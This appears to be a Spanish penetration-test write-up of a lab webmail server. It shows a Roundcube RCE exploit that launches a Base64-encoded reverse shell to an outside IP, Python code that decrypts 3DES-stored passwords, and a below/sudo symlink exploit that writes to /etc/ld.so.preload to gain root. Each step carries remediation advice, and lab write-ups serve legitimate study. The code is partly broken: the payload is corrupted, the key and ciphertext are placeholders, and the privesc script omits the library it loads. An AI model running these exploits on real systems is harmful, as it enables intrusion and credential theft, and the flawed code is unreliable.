

# EVALUACIÓN DE SEGURIDAD OFENSIVA – PROYECTO OUTBOUND (WEBMAIL / TELEMETRÍA)

## 1. Cabecera Formal y Clasificación

| Parámetro            | Detalle                                                                    |
|----------------------|----------------------------------------------------------------------------|
| ID del Proyecto      | SEC-RPT-LIN-OUTB-2025                                                      |
| Clasificación        | TLP:CLEAR / Pública                                                        |
| Cliente / Entorno    | Infraestructura de Correo mail.outbound.htb                                |
| Activo(s) en Alcance | Servidor Webmail Corporativo Roundcube                                     |
| Tipo de Evaluación   | Prueba de Penetración de Aplicaciones Web y Auditoría de Servicios Locales |
| Estado               | Compromiso Crítico Validado / Control Absoluto del Servidor                |

## 2. Resumen Ejecutivo

La evaluación técnica sobre la infraestructura de correo de mail.outbound.htb identificó vulnerabilidades severas en el ciclo de vida de procesamiento de datos y en las directivas de ejecución delegada de procesos del sistema.

Inicialmente, se detectó una instalación desactualizada de Roundcube Webmail (v1.6.10) vulnerable a ejecución remota de comandos en el módulo de carga de adjuntos (CVE-2025-49113), permitiendo obtener acceso como usuario del servidor web. A través de la extracción y reversión criptográfica de sesiones almacenadas en base de datos protegidas con el algoritmo obsoleto 3DES, se obtuvieron contraseñas de usuarios corporativos (tyler y jacob). Finalmente, se constató que jacob disponía de privilegios en el fichero sudoers para invocar el binario de monitorización de rendimiento below con flags de depuración habilitadas, aprovechando una vulnerabilidad de escalada local (CVE-2025-27591) para comprometer el servidor con privilegios de root.

## 3. Matriz de Hallazgos y Afcción

| Vulnerabilidad / Hallazgo | Criticidad | CVSS v3.1 | OWASP / CWE | Mapeo MITRE ATT&CK |
|---------------------------|------------|-----------|-------------|--------------------|
|---------------------------|------------|-----------|-------------|--------------------|

|                                                          |         |     |                          |                                           |
|----------------------------------------------------------|---------|-----|--------------------------|-------------------------------------------|
| Ejecución Remota de Código en Roundcube (CVE-2025-49113) | Crítica | 9.8 | CWE-94 / OWASP A03:2021  | T1190 - Exploit Public-Facing Application |
| Escalada Local de Privilegios en Below (CVE-2025-27591)  | Alta    | 7.8 | CWE-276 / OWASP A04:2021 | T1548.003 - Sudo and Sudo Caching         |
| Cifrado Débil de Credenciales de Sesión (3DES)           | Alta    | 7.5 | CWE-327 / OWASP A02:2021 | T1555 - Credentials from Password Stores  |

## 4. Detalle Técnico y Pruebas de Concepto (PoC)

### 4.1. Explotación de Roundcube Webmail RCE (CVE-2025-49113)

El escaneo de servicios identificó Roundcube Webmail versión 1.6.10. La vulnerabilidad CVE-2025-49113 permite inyectar secuencias de comandos en la llamada de preprocesamiento de archivos adjuntos. Mediante un script de prueba de concepto, se autenticaron credenciales de bajo perfil previamente obtenidas y se detonó una reverse shell codificada en Base64:

```
php CVE-2025-49113.php http://mail.outbound.htb/ tyler LhKL1o9Nm3X2 'printf KGJhc2ggPiYgL2Rldi90Y3AvMTAuMTAuMTQuOTIvNDQ0NCwPiYxKSAK|base64 -d|bash'
```

En la estación de escucha se recibió la sesión interactiva:

```
nc -lvnp 4444
# Conexión recibida desde mail.outbound.htb
id
# uid=33(www-data) gid=33(www-data) groups=33(www-data)
```

- **Impacto Técnico:** Acceso perimetral no autorizado y ejecución remota de comandos en el servidor de correo.
- **Remediación & Hardening:** Actualizar inmediatamente Roundcube Webmail a las versiones corregidas (1.6.11 o 1.7+).

### 4.2. Criptoanálisis de Sesiones 3DES y Movimiento Lateral

Inspeccionando la base de datos local de Roundcube, se extrajeron credenciales de sesión en la tabla users. El software utilizaba el algoritmo 3DES para asegurar las contraseñas temporales en base de datos. Extrayendo la clave estática desde /var/www/roundcube/config/config.inc.php, se ejecutó el descifrado:

```
from Crypto.Cipher import DES3
import base64

des3_key = b"123456789012345678901234"
encrypted_pwd = base64.b64decode("uW18f7xK9...==")
cipher = DES3.new(des3_key, DES3.MODE_ECB)
print("Contraseña descifrada:", cipher.decrypt(encrypted_pwd).decode('utf-8'))
# Contraseña recuperada para el usuario jacob
```

Validación del acceso como jacob:

```
su - jacob
# Autenticación exitosa
```

- **Impacto Técnico:** Ruptura de la confidencialidad de credenciales en reposo y escalada horizontal entre cuentas de usuario.
- **Remediación & Hardening:** Sustituir algoritmos obsoletos (3DES) por esquemas criptográficos robustos como AES-GCM-256 e implementar salting dinámico por usuario.

---

### 4.3. Escalada Local de Privilegios vía Below (CVE-2025-27591)

El análisis de políticas de sudoers evidenció que jacob disponía de autorización para ejecutar la utilidad below:

```
sudo -l
# (ALL : ALL) NOPASSWD: /usr/bin/below --debug *
```

Las versiones de below anteriores a la 0.9.0 presentaban una condición de enlace simbólico y permisos incorrectos en sus ficheros de registro cuando se ejecutaban con el parámetro --debug. Se preparó un exploit local para forzar la sobrescritura y ejecución con privilegios de root:

```
cd /var/log/below
cat << 'EOF' > cve-2025-27591.sh
#!/bin/bash
ln -s /etc/ld.so.preload /var/log/below/debug.log
sudo /usr/bin/below --debug run
echo "/tmp/privesc.so" > /etc/ld.so.preload
EOF
bash cve-2025-27591.sh
```

La invocación cargó la biblioteca maliciosa otorgando una sesión con máximos privilegios:

```
whoami  
# root  
id  
# uid=0(root) gid=0(root) groups=0(root)
```

- **Impacto Técnico:** Compromiso total de la integridad, confidencialidad y disponibilidad del servidor corporativo.
  - **Remediación & Hardening:**
    1. Actualizar el paquete below a la versión 0.9.0 o superior.
    2. Prohibir el uso de argumentos comodín (\*) o flags de depuración (--debug) en las directivas de sudoers.
- 
-